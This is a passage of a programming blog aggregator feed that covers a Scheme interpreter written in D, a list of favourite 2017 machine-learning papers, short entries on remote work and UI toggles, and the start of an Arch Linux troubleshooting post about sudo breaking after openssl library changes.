operation produces an integer unable to fit in 64 bits. (See the
&lt;a href="https://github.com/eatonphil/bsdscheme/blob/b202e8b5a24fe4281a06e39241f2be3cd51720fc/src/runtime.d#L99"&gt;times&lt;/a&gt; and &lt;a href="https://github.com/eatonphil/bsdscheme/blob/b202e8b5a24fe4281a06e39241f2be3cd51720fc/src/runtime.d#L63"&gt;plus&lt;/a&gt; guards for details; see the &lt;a href="https://github.com/eatonphil/bsdscheme/tree/master/examples"&gt;examples&lt;/a&gt;
directory for other examples.)&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$&lt;span class="w"&gt; &lt;/span&gt;cat&lt;span class="w"&gt; &lt;/span&gt;examples/recursion.scm
&lt;span class="o"&gt;(&lt;/span&gt;define&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;exp&lt;span class="w"&gt; &lt;/span&gt;base&lt;span class="w"&gt; &lt;/span&gt;pow&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;pow&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;*&lt;span class="w"&gt; &lt;/span&gt;base&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;exp&lt;span class="w"&gt; &lt;/span&gt;base&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;-&lt;span class="w"&gt; &lt;/span&gt;pow&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="o"&gt;)))))&lt;/span&gt;

&lt;span class="o"&gt;(&lt;/span&gt;display&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;exp&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;64&lt;/span&gt;&lt;span class="o"&gt;))&lt;/span&gt;
&lt;span class="o"&gt;(&lt;/span&gt;newline&lt;span class="o"&gt;)&lt;/span&gt;
$&lt;span class="w"&gt; &lt;/span&gt;./bin/bsdscheme&lt;span class="w"&gt; &lt;/span&gt;examples/exp.scm
&lt;span class="m"&gt;18446744073709551616&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The first big correction I made was to the way values are represented
in memory. I originally implemented BSDScheme's value representation
as a &lt;a href="https://github.com/eatonphil/bsdscheme/pull/3/files#diff-653d5ccdaa287f13a3b2d964da52ab4aL284"&gt;struct&lt;/a&gt; with a pointer to each possible value type. This
design was simple to begin with but space-inefficient. I modelled a
&lt;a href="https://github.com/eatonphil/bsdscheme/pull/3"&gt;redesign&lt;/a&gt; after the &lt;a href="https://wiki.call-cc.org/man/4/Data%20representation"&gt;Chicken Scheme&lt;/a&gt; data representation. It
uses a struct with &lt;a href="https://github.com/eatonphil/bsdscheme/pull/3/files#diff-c586618fe7ea7c64340046e89fd82621R14"&gt;two fields&lt;/a&gt;, header and data. Both fields are
word-size integers (currently hard-coded as 64 bits). The header
stores type and length information and the data stores data.&lt;/p&gt;
&lt;p&gt;In this representation, simple types (integers &amp;lt; 2^63, booleans,
characters, etc.) take up only 128 bits. The integers, booleans, etc.
are placed directly into the 64 bit data field. Other types (larger
integers, strings, functions, etc) use the data field to store a
pointer to memory allocated in the heap. Getting the conversion of
these complex types right was the trickiest part of this data
representation effort... lots of void-pointer conversions.&lt;/p&gt;
&lt;p&gt;The next big fix I made was to simplify the way generic functions
dealt with their arguments. Originally I passed each function its
arguments un-evaluated and left it up to each function to evaluate its
arguments before operating on them. While there was nothing
intrinsically wrong with this method, it was overly complicated and
bug-prone. I refactored the builtin functions into two groups:
&lt;a href="https://github.com/eatonphil/bsdscheme/blob/c49bb14182f04682a5cda4dd224b853b4fc92e92/src/runtime.d#L422"&gt;normal&lt;/a&gt; functions and &lt;a href="https://github.com/eatonphil/bsdscheme/blob/c3286df73a32da657e780db8f33e845c9f806a9d/src/runtime.d#L435"&gt;special&lt;/a&gt; functions. Normal function
arguments are &lt;a href="https://github.com/eatonphil/bsdscheme/blob/c3286df73a32da657e780db8f33e845c9f806a9d/src/runtime.d#L399"&gt;evaluated&lt;/a&gt; before sending the arguments S-expression
to the function. Special functions receive the arguments S-expression
verbatim so they can decide what / when to evaluate.&lt;/p&gt;
&lt;p&gt;The last issue I'll talk about in this post was dealing with the AST
representation. When I started out, the easiest way to get things
working was to have an AST representation completely separate from the
representation of BSDScheme values. This won't get you far in
Scheme. In order to (eventually) support macros (and in the meantime
support eval), the AST representation would have to make use of the
value representation. This was the most complicated and confusing
issue so far in BSDScheme. With the switch to recursive data
structures, it was hard to know if an error occurred because I parsed
incorrectly, or recursed over what I parsed incorrectly, or even if I
was printing out what I parsed incorrectly. After some embarrassing
pain, I got all the &lt;a href="https://github.com/eatonphil/bsdscheme/pull/5"&gt;pieces in place&lt;/a&gt; after a month and it set me
up to easily support converting my original interpret function into a
generic eval function that I could expose to the language like any
other special function.&lt;/p&gt;
&lt;p&gt;One frustrating side-effect of this AST conversion is that since the
parsing stage builds out trees using the internal value
representation, the parsing stage is tied to the interpreter. From
what I can tell, this basically means I have to revert back to some
intermediate AST representation or throw away the parser to support a
compiler backend.&lt;/p&gt;
&lt;p&gt;Next steps in BSDScheme include converting all the examples into
tests, combining the needlessly split out lexing and parsing stage
into a single read function that can be exposed into the language,
fleshing out R7RS library support, and looking more into LLVM as a
backend.&lt;/p&gt;
&lt;p&gt;&lt;blockquote class="twitter-tweet"&gt;&lt;p dir="ltr" lang="en"&gt;Wrote a full post on the first few hurdles faced writing a Scheme interpreter in D &lt;a href="https://t.co/Cyjy7pk3OB"&gt;https://t.co/Cyjy7pk3OB&lt;/a&gt; &lt;a href="https://twitter.com/hashtag/scheme?src=hash&amp;amp;ref_src=twsrc%5Etfw"&gt;#scheme&lt;/a&gt; &lt;a href="https://twitter.com/hashtag/schemelang?src=hash&amp;amp;ref_src=twsrc%5Etfw"&gt;#schemelang&lt;/a&gt; &lt;a href="https://twitter.com/hashtag/lisp?src=hash&amp;amp;ref_src=twsrc%5Etfw"&gt;#lisp&lt;/a&gt; &lt;a href="https://twitter.com/hashtag/dlang?src=hash&amp;amp;ref_src=twsrc%5Etfw"&gt;#dlang&lt;/a&gt;&lt;/p&gt;&amp;mdash; Phil Eaton (@phil_eaton) &lt;a href="https://twitter.com/phil_eaton/status/951091952740651008?ref_src=twsrc%5Etfw"&gt;January 10, 2018&lt;/a&gt;&lt;/blockquote&gt; &lt;/p&gt;</description><author>Notes on software development</author><pubDate>Wed, 10 Jan 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">http://notes.eatonphil.com/first-few-hurdles-writing-a-scheme-interpreter.html</guid></item><item><title>A few favorite papers of 2017</title><link>https://rachitsingh.com/papers-2017/</link><description>&lt;p&gt;This isn't an exhaustive list, and I will inevitably forget some papers. I'll keep updating as a remember, and will probably expand some of the background/contribution sections as I have time, so that they're more accessible.&lt;/p&gt;
&lt;h2 id="breaking-the-softmax-bottleneck-a-high-rank-rnn-language-model-link"&gt;Breaking the Softmax Bottleneck: A High-Rank RNN Language Model [&lt;a href="https://arxiv.org/pdf/1711.03953.pdf"&gt;link&lt;/a&gt;]&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Background&lt;/strong&gt;: Language models and NLP tasks almost always use a softmax to compute a distribution over the vocabulary, and usually this is computed as $\sigma(\mathbf{W}\mathbf{h})$, where $\mathbf{h}$ is a $d$-dimensional context vector from a previous layer, and $\mathbf{W} \in \mathbb{R}^{M \times d}$ is a word embedding, letting $M$ be the vocabulary size. In language modeling, the model might generate a sequence of contexts $\mathbf{h}_1, \ldots, \mathbf{h}_N$ &lt;sup class="footnote-reference" id="fr-1-1"&gt;&lt;a href="https://rachitsingh.com/papers-2017/#fn-1"&gt;1&lt;/a&gt;&lt;/sup&gt;. Taking the probability vector for each word and stacking it gives a probability matrix $\mathbf{A}$, generated by the model &lt;sup class="footnote-reference" id="fr-2-1"&gt;&lt;a href="https://rachitsingh.com/papers-2017/#fn-2"&gt;2&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Contribution&lt;/strong&gt;: The authors show that the probability matrix is inherent limited in rank by the dimension of the embedding. This is bad, because there are a set of probability distributions that we can't even represent using our model! So no matter how good we are at the architecture beforehand (using all sorts of fancy dropouts / weight drops / etc.), we are limited by this "softmax bottleneck". Note that $d \approx 300$, and the maximum rank of this matrix is $M$, which is usually 2 orders of magnitude larger. The (simple) solution? Just blending together the softmaxes from $k$ different embeddings. They train this new model, reducing $d$ to make the number of parameters comparable, and get a ~4 PPL reduction from the previous SOTA on PTB + WikiText.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Why I like this&lt;/strong&gt;: It's so simple! And yet, somewhat surprising at the same time. It's the kind of thing I worried about briefly (in an abstract way, without the framework they've provided) when I first learned about softmaxes, but then kind of brushed away. And yet they've shown that just adding simple correction will make models better. It's transferable to translation / summarization models, and I think whenever I think about a probabilistic model I'll think briefly about what kinds of probability distributions are representable.&lt;/p&gt;
&lt;h2 id="understanding-black-box-predictions-via-influence-functions-link"&gt;Understanding Black-box Predictions via Influence Functions [&lt;a href="https://arxiv.org/abs/1703.04730"&gt;link&lt;/a&gt;]&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Background&lt;/strong&gt;: This paper falls under the umbrella of 'interpretability', which is a heated subject in the research world at the moment.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Contribution&lt;/strong&gt;: This paper (1) looks at earlier work (Cook &amp;amp; Weisberg, 1982) explaining how the parameters of a learned model might change slightly (i.e., the gradient of the parameters) when we change the weighting of datapoints. It uses this via the chain rule to look at the gradient of the &lt;em&gt;test loss&lt;/em&gt; with respect to upweight/downweighting a data point. Then, it finds (somewhat) fast algorithms for computing this loss, and applies it to some (small) neural networks. Essentially, it finds a method for 'walking in the space of images' to find a training image that can make your model screw up. Think: insert a random datapoint into the online MNIST files, and suddenly your model is horrible. Note that Yann LeCun doesn't use https on &lt;a href="http://yann.lecun.com/exdb/mnist/"&gt;that website&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Why I like this&lt;/strong&gt;: I'm a big fan of this paper because it uses some fundamental research on influence functions in a new way. Also, the framework it proposes, that of adversarial training images, is definitely interesting. There are some caveats, of course, with work like this: (non)convexity, complicated models (for which the Hessian is not easy!), efficiency, and the authors treat those issues head-on, rather than brushing them aside. That being said, it's unclear whether it'll work without some more algorithmic refinement (a problem I tackled a bit this semester but didn't make much progress on). I also have an implementation of this work in PyTorch that I hope to open source soon, since it's a little nontrivial and probably of use. This is now possible since PyTorch has some support for automatic HVP calculations.&lt;/p&gt;
&lt;h2 id="unbiased-markov-chain-monte-carlo-with-couplings-link"&gt;Unbiased Markov chain Monte Carlo with couplings [&lt;a href="https://arxiv.org/abs/1708.03625"&gt;link&lt;/a&gt;]&lt;/h2&gt;
&lt;p&gt;I'm a bit biased because Pierre taught an excellent inference class this spring which I took, but it was definitely interesting to me.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Background&lt;/strong&gt;: Because of burn-in, MCMC samples are always biased. The bias can be reduced by extending burn-in, of course, so this might not be a practical concern, but actually burn-in can be a significant contributor (imagine you have to take a few samples from a large set of distributions, like $p(x_i | z_i)$ after you've already sampled $z_i$ in an ad-hoc way).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Contribution&lt;/strong&gt;: This paper shows a method (via coupled chains) that shows how to eliminate bias in MCMC samples.&lt;/p&gt;
&lt;!-- **Why I like this**: I think the above scenario of having a high burn-in overhead is not rare, and it's important to know that we can sample in an unbiased way for peace-of-mind purposes. Also, I think it's very foundational, but I might be missing some of the literature here.

## Attention Is All You Need \[[link](https://arxiv.org/abs/1706.03762)\]

This is a fairly well publicized piece of work, so I probably don't need to say too much about it. Here's [a detailed overview](https://mchromiak.github.io/articles/2017/Sep/12/Transformer-Attention-is-all-you-need/) and [Google's own blog post about it](https://research.googleblog.com/2017/08/transformer-novel-neural-network.html). I don't think I understand it well enough that the idea is 'intuitive', so maybe it doesn't belong in this list, but it's certainly making waves.

**tldr**: This paper achieves SOTA on NMT (!) with a very novel architecture, by essentially removing all recurrences (since they must process sequentially) and processing in parallel with *multi-headed attention*. It encodes a word's position via an encoding, rather than algorithmically, which has been tried before, but the attention makes it work. Best of all, it is much faster than training a seq2seq model on the same task.
--&gt;
&lt;p&gt;It's very rare to see a work both push SOTA on a benchmark, &lt;em&gt;and&lt;/em&gt; be faster at the same time.&lt;/p&gt;
&lt;h2 id="gumbel-softmax-concrete-distribution-link-link"&gt;Gumbel Softmax / Concrete Distribution [&lt;a href="https://arxiv.org/abs/1611.00712"&gt;link&lt;/a&gt;] &amp;amp; [&lt;a href="https://arxiv.org/abs/1611.01144"&gt;link&lt;/a&gt;]&lt;/h2&gt;
&lt;p&gt;I really mean this section to be about these papers and all of the followups, which I think are somewhat natural extensions of the same line of work. See &lt;a href="https://arxiv.org/abs/1703.07370"&gt;REBAR&lt;/a&gt;, which makes this estimator unbiased by using it as a control variate for the REINFORCE estimator, and &lt;a href="https://arxiv.org/abs/1711.00123"&gt;RELAX&lt;/a&gt;, which takes things one step further by extending it to the RL paradigm, where you can only sample one action rather than a weighted mix of actions.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Background&lt;/strong&gt;: Variational inference is a powerful technique (see Jeffrey's blog post &lt;a href="http://jeffreyling.github.io/2018/01/09/vaes-are-bayesian.html"&gt;here&lt;/a&gt;), and the research community has made a lot of progress in SVI recently. However, for discrete latent variables, the best we can do is use &lt;a href="https://arxiv.org/abs/1401.0118"&gt;black-box variational inference&lt;/a&gt;, which is interesting, but very hard to implement and tune &lt;sup class="footnote-reference" id="fr-3-1"&gt;&lt;a href="https://rachitsingh.com/papers-2017/#fn-3"&gt;3&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Contribution&lt;/strong&gt;: These papers give a solution by introducing a relaxation of discrete distributions to distributions over the simplex, and also gives them a reparametrization gradient. Actually, adding Gumbel noise is a common trick in the economics and ranking literature (see: McFadden 1974, Mattson et. al. 2011), but the real innovation here is realizing that taking a softmax over logits + Gumbel noise is reparametrizable, and useful as an approximation to the real argmax (which is the Gumbel max trick). The papers themselves have good explanations, and Eric Jang has a &lt;a href="https://rachitsingh.com/papers-2017/blog.evjang.com/2016/11/tutorial-categorical-variational.html"&gt;nice blog post&lt;/a&gt; about how to do it in practice. Actually I think this connection is worth exploring, so I'll go over it in a blog post later.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Why I like this&lt;/strong&gt;: It's really useful! Especially with the two follow up works, this is actually a very useful alternative to BBVI (just see the results from &lt;a href="https://rachitsingh.com/ibp_vae.pdf"&gt;our paper&lt;/a&gt;), and makes it much easier to build and train generative models with discrete latent states. For about a month after reading this paper whenever I heard about a generative process I would think: "can this be modeled using a VAE?". Also, I think the papers are well written.&lt;/p&gt;
&lt;h2 id="on-the-quantitative-analysis-of-decoder-based-generative-models-link"&gt;On the Quantitative Analysis of Decoder-Based Generative Models [&lt;a href="https://arxiv.org/abs/1611.04273"&gt;link&lt;/a&gt;]&lt;/h2&gt;
&lt;p&gt;I'm not sure if this paper counts as "this year", but it was in ICLR &lt;em&gt;2017&lt;/em&gt; so I'll count it.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Background&lt;/strong&gt;: It's difficult to evaluate some generative models. Suppose that there's a latent vector $\mathbf{z}$, and we generate $\mathbf{x}$ stepwise, so that $\mathbf{z} \sim p(\mathbf{z})$, and then $\mathbf{x} \sim p(\mathbf{x} | \mathbf{z})$. Then for a hold-out element $\mathbf{x}_{\operatorname{test}}$, we have to integrate out all values of $\mathbf{z}$! This can be expensive, since integration usually means Monte-Carlo sampling. We have some alternatives, like the ELBO or IWAE bounds for VAEs, but even there it is a lower bound, and we're not confident that the ELBO is even asymptotically consistent (the IWAE metric is, but we don't know how fast). For GANs we only seem to have a kernel density estimator (KDE).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Contribution&lt;/strong&gt;: First, the authors use bidirectional Monte Carlo (BDMC) to &lt;em&gt;upper bound&lt;/em&gt; the log marginal, and show that annealed importance sampling is accurate enough to use to evaluate the quality of other estimates. Then, they use it to evaluate kernel density estimators and IWAE on a number of datasets, and also compare VAEs and GANs (!). They essentially show that IWAE is not quite good enough yet, and KDE is very bad in high dimensional spaces, as expected (it's not even consistent). Also, they show that VAEs are significantly better on evaluation than GANs (since they actually fit to a log-marginal estimator).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Why I like this&lt;/strong&gt;: It ties together the promises of a lot of other papers, and has good experimental results, which are cleanly interpreted. I don't think it's foundational, but it gives good motivation for trying to come up with good evaluation metrics for GANs, and lets people know that their concerns about "lower bounds not being good enough" are warranted.&lt;/p&gt;
&lt;h2 id="frequentist-consistency-of-variational-bayes"&gt;Frequentist Consistency of Variational Bayes&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Background&lt;/strong&gt;: Variational bayes / variational inference is well established as a fast alternative to Markov-chain Monte Carlo (MCMC), but we have few theoretical results about it. In particular people are concerned that even discounting the fact that the variational posterior might be misspecified, we don't know that in the large-data limit, the variational posterior is centered at the 'best possible estimate' of the latent variables in some sense, and is asymptotically normal.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Contribution&lt;/strong&gt;: Consider just the case of estimating the posterior distributions over $\theta$, the model's parameters (so, shared global latent variables) [^4]. We're being pretty Bayesian here in this sense, so we have a posterior $q(\theta)$. Consider that given $\theta$ , we can pick the best possible $q(z)$ (in maximizing the ELBO), and pick the best possible $\theta$ in this way, and call it the &lt;em&gt;variational frequentist estimate&lt;/em&gt; (VFE). Then, assuming that this VFE is consistent, the paper shows (1) the VB posterior $q^*(\theta)$ converges to the member of the family that minimizes the KL divergence with a normal centered at the VFE / true parameter, with some variance, and (2) it is consistent. And then they do applications!&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Why I liked it&lt;/strong&gt;: While it doesn't attempt to tackle all of variatonal inference in one sitting, it is well written and the style of proof reflects how people prove the Bernstein von Mises theorem, so I assume it has the same level of impact (I have a bad sense). Note that there are liberal technical conditions throughout, but they're usually not egregious (see: Robert Nickl's lecture notes on the BVM &lt;a href="http://www.statslab.cam.ac.uk/~nickl/Site/__files/stat2013.pdf"&gt;here&lt;/a&gt;, which gives some insight). Also, I appreciate these kinds of consistency works because they are difficult, but let us be confident that in the long run the work on variational inference will pay off. Mostly, I like proofs :)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;footnotes&lt;/strong&gt;&lt;/p&gt;
&lt;footer class="footnotes"&gt;
&lt;ol class="footnotes-list"&gt;
&lt;li id="fn-1"&gt;
&lt;p&gt;The paper uses $N$ to denote the set of all possible contexts in a language, making some assumptions about finiteness. I'm simplifying here a bit and talking about the contexts in a single sentence which is smaller. The implications are the same, I think. &lt;a href="https://rachitsingh.com/papers-2017/#fr-1-1"&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn-2"&gt;
&lt;p&gt;Note that this idea of a probability matrix assumes that we're using teacher-forcing, which is usual practice in language modeling. In other words, the distribution over word 2 only depends on the context vector, which only depends on the context vector from the previous state and the correct word 1, &lt;strong&gt;not&lt;/strong&gt; on our choice of word 1. This isn't a hack - it's the right thing to do when trying to estimate the true log marginal. &lt;a href="https://rachitsingh.com/papers-2017/#fr-2-1"&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn-3"&gt;
&lt;p&gt;Does anyone know of an open-source implementation of BBVI (i.e. control variates and Rao-Blackwellization)? Jeffrey and I worked on this, and we think it's very very expensive to compute the 'correct' control variate as recommended in their paper, based on how PyTorch and Tensorflow are implemented, but we might be missing a detail. &lt;a href="https://rachitsingh.com/papers-2017/#fr-3-1"&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/footer&gt;</description><author>Rachit Singh</author><pubDate>Tue, 09 Jan 2018 22:48:10 GMT</pubDate><guid isPermaLink="true">https://rachitsingh.com/papers-2017/</guid></item><item><title>Practical remote working: part 1 - hardware and environment</title><link>https://blog.christoolivier.com/p/practical-remote-working-part-1</link><description>In this first post in this series we will look at the hardware you will need and also the physical environment that you should aim to create.</description><author>Christo’s Blog</author><pubDate>Mon, 08 Jan 2018 16:48:04 GMT</pubDate><guid isPermaLink="true">https://blog.christoolivier.com/p/practical-remote-working-part-1</guid></item><item><title>A practical guide to effective remote working</title><link>https://blog.christoolivier.com/p/a-practical-guide-to-effective-remote-working</link><description>Over the last few months I have seen a couple of remote working guides appear in my inbox sharing tips and best practice from across the industry to get the best out of remote work.</description><author>Christo’s Blog</author><pubDate>Mon, 08 Jan 2018 16:43:54 GMT</pubDate><guid isPermaLink="true">https://blog.christoolivier.com/p/a-practical-guide-to-effective-remote-working</guid></item><item><title>CatFacts in Node.js</title><link>https://zackproser.com/blog/catfacts</link><description>PICK UP THE PHONE - ITS CATFACTS!</description><author>Zachary Proser</author><pubDate>Mon, 08 Jan 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://zackproser.com/blog/catfacts</guid></item><item><title>Using Toggles in User Interfaces</title><link>https://solomon.io/using-toggles-in-user-interfaces/</link><description>Popularized by iOS settings, the toggle—or switch—has become pervasive in applications everywhere.</description><author>Sam Solomon</author><pubDate>Mon, 08 Jan 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://solomon.io/using-toggles-in-user-interfaces/</guid></item><item><title>Broken shapes and hidden bodies</title><link>https://rybakov.com/blog/broken_shapes/</link><description>&lt;div class="video-wrapper"&gt;
  &lt;video class="looped  " controls="controls" id="iv_bless" loop="true" poster="/video/iv_bless/iv_bless.jpg"&gt;
      &lt;source src="../video/iv_bless/iv_bless.mp4" type="video/mp4" /&gt;
  &lt;/video&gt;
  &lt;div class="videobuffering" id="iv_blessbuffering"&gt;&lt;/div&gt;
  &lt;div class="videopaused" id="iv_blesspaused"&gt;&lt;/div&gt;
&lt;/div&gt;

&lt;p&gt;at Bless Home Berlin.&lt;/p&gt;</description><author>Blogs on Michail Rybakov</author><pubDate>Sun, 07 Jan 2018 12:07:46 GMT</pubDate><guid isPermaLink="true">https://rybakov.com/blog/broken_shapes/</guid></item><item><title>Swatantra'17: software freedom, and awareness of larger picture</title><link>https://stop.zona-m.net/2018/01/swatantra17-software-freedom-and-awareness-of-larger-picture/</link><description>&lt;p&gt;A couple of weeks ago I attended the &lt;a href="https://swatantra.net.in/"&gt;Swatantra'17 conference in Trivandrum, Kerala&lt;/a&gt;, and came back with a lot of food for thought.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Sun, 07 Jan 2018 09:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/01/swatantra17-software-freedom-and-awareness-of-larger-picture/</guid></item><item><title>When Your Sudo And Pacman Breaks</title><link>https://nikhilsoni.me/2018/01/07/when-your-sudo-and-pacman-breaks/</link><description>&lt;p&gt;I needed to install Mongodb for a project I was working on, as usual I
did:&lt;/p&gt;

&lt;div class="language-bash highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;pacman &lt;span class="nt"&gt;-S&lt;/span&gt; mongodb
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now starting the &lt;code class="language-plaintext highlighter-rouge"&gt;mongodb.service&lt;/code&gt; with &lt;code class="language-plaintext highlighter-rouge"&gt;systemctl&lt;/code&gt; was failing
without any specific error logs:&lt;/p&gt;

&lt;div class="language-bash highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;journalctl &lt;span class="nt"&gt;-u&lt;/span&gt; mongodb.service &lt;span class="nt"&gt;-b&lt;/span&gt;
&lt;span class="nt"&gt;--&lt;/span&gt; Logs begin at Thu 2017-06-01 13:13:02 IST, end at Sun 2018-01-07 12:14:08 IST. &lt;span class="nt"&gt;--&lt;/span&gt;
Jan 07 12:05:56 TheBlackPearl systemd[1]: Started High-performance, schema-free document-oriented da
Jan 07 12:05:56 TheBlackPearl systemd[1]: mongodb.service: Main process exited, &lt;span class="nv"&gt;code&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;exited, &lt;span class="nv"&gt;status&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;
Jan 07 12:05:56 TheBlackPearl systemd[1]: mongodb.service: Unit entered failed state.
Jan 07 12:05:56 TheBlackPearl systemd[1]: mongodb.service: Failed with result &lt;span class="s1"&gt;'exit-code'&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt;
Jan 07 12:09:46 TheBlackPearl systemd[1]: Started High-performance, schema-free document-oriented da
Jan 07 12:09:46 TheBlackPearl systemd[1]: mongodb.service: Main process exited, &lt;span class="nv"&gt;code&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;exited, &lt;span class="nv"&gt;status&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;
Jan 07 12:09:46 TheBlackPearl systemd[1]: mongodb.service: Unit entered failed state.
Jan 07 12:09:46 TheBlackPearl systemd[1]: mongodb.service: Failed with result &lt;span class="s1"&gt;'exit-code'&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt;
lines 1-9/9 &lt;span class="o"&gt;(&lt;/span&gt;END&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And running &lt;code class="language-plaintext highlighter-rouge"&gt;mongo&lt;/code&gt; and &lt;code class="language-plaintext highlighter-rouge"&gt;mongodb&lt;/code&gt; was throwing following error:&lt;/p&gt;

&lt;div class="language-bash highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;mongo: error &lt;span class="k"&gt;while &lt;/span&gt;loading shared libraries: libboost_program_options.so.1.65.1: cannot open shared object file: No such file or directory
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I seached this a bit and then installed &lt;code class="language-plaintext highlighter-rouge"&gt;boost&lt;/code&gt; package.&lt;/p&gt;

&lt;div class="language-bash highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;pacman &lt;span class="nt"&gt;-S&lt;/span&gt; boost
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And now running &lt;code class="language-plaintext highlighter-rouge"&gt;mongo&lt;/code&gt; was throwing different error:&lt;/p&gt;

&lt;div class="language-bash highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;mongo: error &lt;span class="k"&gt;while &lt;/span&gt;loading shared libraries: libssl.so.1.1: cannot open shared object file: No such file or directory
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I tries installing &lt;code class="language-plaintext highlighter-rouge"&gt;mongo-tools&lt;/code&gt; package which also installed
&lt;code class="language-plaintext highlighter-rouge"&gt;openssl-1.0&lt;/code&gt; along with it. And running &lt;code class="language-plaintext highlighter-rouge"&gt;mongo&lt;/code&gt; was still throwing
same error. So I installed &lt;code class="language-plaintext highlighter-rouge"&gt;openssl&lt;/code&gt; which got me
&lt;code class="language-plaintext highlighter-rouge"&gt;openssl-1.1&lt;/code&gt;. That’s where almost everything broke. Running &lt;code class="language-plaintext highlighter-rouge"&gt;sudo&lt;/code&gt;:&lt;/p&gt;

&lt;div class="language-bash highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;pacman
&lt;span class="nb"&gt;sudo&lt;/span&gt;: error &lt;span class="k"&gt;in&lt;/span&gt; /etc/sudo.conf, line 0 &lt;span class="k"&gt;while &lt;/span&gt;loading plugin &lt;span class="s2"&gt;"sudoers_policy"&lt;/span&gt;
&lt;span class="nb"&gt;sudo&lt;/span&gt;: unable to load /usr/lib/sudo/sudoers.so: libssl.so.1.0.0: cannot open shared object file: No such file or directory
&lt;span class="nb"&gt;sudo&lt;/span&gt;: fatal error, unable to load plugins
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Since &lt;code class="language-plaintext highlighter-rouge"&gt;sudo&lt;/code&gt; was not an option now, I switched to &lt;code class="language-plaintext highlighter-rouge"&gt;root&lt;/code&gt; by &lt;code class="language-plaintext highlighter-rouge"&gt;su&lt;/code&gt; only
